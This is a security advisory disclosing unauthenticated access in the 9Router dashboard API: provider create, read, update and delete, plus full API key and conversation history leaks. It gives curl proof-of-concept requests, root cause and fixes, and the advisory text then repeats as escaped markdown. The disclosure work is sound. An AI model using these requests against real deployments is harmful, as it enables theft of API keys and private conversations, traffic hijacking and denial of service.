公告说明

title: Unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats product: 9Router version: <= 0.4.41 severity: critical cve_request: true

Summary

Multiple critical API security vulnerabilities were discovered in 9Router's Next.js dashboard. The /api/providers endpoints lack authentication entirely, allowing anyone to create, read, update, and delete provider connections. Additionally, /api/usage/stats exposes full plaintext API keys, and /api/usage/request-logs + /api/usage/request-details expose all users' request history and full conversation contents (including system prompts, user messages, assistant responses) without authentication.

Affected Endpoints

Endpoint	Method	Issue
`/api/providers`	GET	Lists all provider connections with partial credentials, OAuth tokens, account IDs
`/api/providers/:id`	GET	Read any single provider detail (IDOR)
`/api/providers`	POST	Create arbitrary provider connections with attacker-controlled API keys
`/api/providers/:id`	PUT	Modify any existing provider connection
`/api/providers/:id`	DELETE	Delete any provider connection
`/api/usage/stats`	GET	Exposes full plaintext API keys, per-account usage breakdown, cost data
`/api/usage/request-logs`	GET	Exposes all users' request logs (model, tokens, cost, timestamp, provider)
`/api/usage/request-details/:id`	GET	Exposes full conversation turns including system prompts, user messages, assistant responses
`/api/version`	GET	Exposes current version info

Critical: Provider CRUD without authentication

Add a malicious provider — inject a provider that proxies through their server, capturing all prompts, responses, and API keys routed through 9Router
Modify existing providers — replace API keys with attacker-controlled ones, redirect traffic
Delete all providers — cause complete denial of service
Read all provider configurations — harvest partial credentials, GitHub Copilot OAuth tokens, Cloudflare account IDs, email addresses

Critical: Full API key leak via /api/usage/stats

The endpoint returns complete API key strings (e.g., sk-...) in plaintext alongside usage data per key, enabling unauthorized use of connected AI provider accounts.

Critical: Conversation history leak

/api/usage/request-details returns the full conversation history of other users' AI sessions, including system prompts, user messages, assistant responses, tool calls, and reasoning traces.

1. Unauthenticated read of all providers

curl -s https://<host>/api/providers

Returns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes.

2. Create a provider without authentication

curl -X POST https://<host>/api/providers \
  -H "Content-Type: application/json" \
  -d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}'

Returns the created connection object with a new UUID and isActive: true.

3. Modify an existing provider without authentication

curl -X PUT https://<host>/api/providers/<existing-uuid> \
  -H "Content-Type: application/json" \
  -d '{"name":"modified","apiKey":"sk-attacker-key"}'

Returns the updated connection object.

4. Delete a provider without authentication

curl -X DELETE https://<host>/api/providers/<existing-uuid>

Returns {"message":"Connection deleted successfully"}.

5. Read full usage stats with API keys

curl -s https://<host>/api/usage/stats

Returns full API key strings, per-account token/cost breakdown, recent requests.

6. Read request logs

curl -s "https://<host>/api/usage/request-logs?page=1&pageSize=50"

Returns paginated request logs with timestamps, models, providers, user emails, token counts.

7. Read full conversation

curl -s https://<host>/api/usage/request-details/<request-uuid>

Returns complete conversation turns for that request.

8. Read version info

curl -s https://<host>/api/version

Returns {"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}.

The Next.js API routes under src/app/api/* lack authentication middleware on several endpoints. Specifically:

/api/providers/* — No auth check before CRUD operations on provider connections stored in the database
/api/usage/stats — No auth check before returning aggregated usage data including full API keys
/api/usage/request-logs — No auth check before returning request history
/api/usage/request-details/:id — No auth check before returning full conversation contents

Add authentication middleware to all /api/providers/* routes (GET, POST, PUT, DELETE)
Add authentication middleware to all /api/usage/* routes
Never return full API key strings in any API response — return masked keys only
Never return GitHub Copilot tokens or similar OAuth secrets in API responses
Implement proper authorization checks so users can only access their own data
Add rate limiting to public endpoints

Unauthenticated read of all providers\n\n```bash\ncurl -s https://<host>/api/providers\n```\n\nReturns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes.\n\n### 2. Create a provider without authentication\n\n```bash\ncurl -X POST https://<host>/api/providers \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"provider\":\"openai\",\"authType\":\"apikey\",\"name\":\"rogue\",\"apiKey\":\"sk-attacker-controlled\"}'\n```\n\nReturns the created connection object with a new UUID and `isActive: true`.\n\n### 3. Modify an existing provider without authentication\n\n```bash\ncurl -X PUT https://<host>/api/providers/<existing-uuid> \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"modified\",\"apiKey\":\"sk-attacker-key\"}'\n```\n\nReturns the updated connection object.\n\n### 4. Delete a provider without authentication\n\n```bash\ncurl -X DELETE https://<host>/api/providers/<existing-uuid>\n```\n\nReturns `{\"message\":\"Connection deleted successfully\"}`.\n\n### 5. Read full usage stats with API keys\n\n```bash\ncurl -s https://<host>/api/usage/stats\n```\n\nReturns full API key strings, per-account token/cost breakdown, recent requests.\n\n### 6. Read request logs\n\n```bash\ncurl -s \"https://<host>/api/usage/request-logs?page=1&pageSize=50\"\n```\n\nReturns paginated request logs with timestamps, models, providers, user emails, token counts.\n\n### 7. Read full conversation\n\n```bash\ncurl -s https://<host>/api/usage/request-details/<request-uuid>\n```\n\nReturns complete conversation turns for that request.\n\n### 8. Read version info\n\n```bash\ncurl -s https://<host>/api/version\n```\n\nReturns `{\"currentVersion\":\"0.4.19\",\"latestVersion\":\"0.4.45\",\"hasUpdate\":true}`.\n\n## Root Cause\n\nThe Next.js API routes under `src/app/api/*` lack authentication middleware on several endpoints. Specifically:\n\n- `/api/providers/*` — No auth check before CRUD operations on provider connections stored in the database\n- `/api/usage/stats` — No auth check before returning aggregated usage data including full API keys\n- `/api/usage/request-logs` — No auth check before returning request history\n- `/api/usage/request-details/:id` — No auth check before returning full conversation contents\n\n## Suggested Fix\n\n1. Add authentication middleware to all `/api/providers/*` routes (GET, POST, PUT, DELETE)\n2. Add authentication middleware to all `/api/usage/*` routes\n3. Never return full API key strings in any API response — return masked keys only\n4. Never return GitHub Copilot tokens or similar OAuth secrets in API responses\n5. Implement proper authorization checks so users can only access their own data\n6. Add rate limiting to public endpoints\n\n## Resources\n\n- https://github.com/decolua/9router",
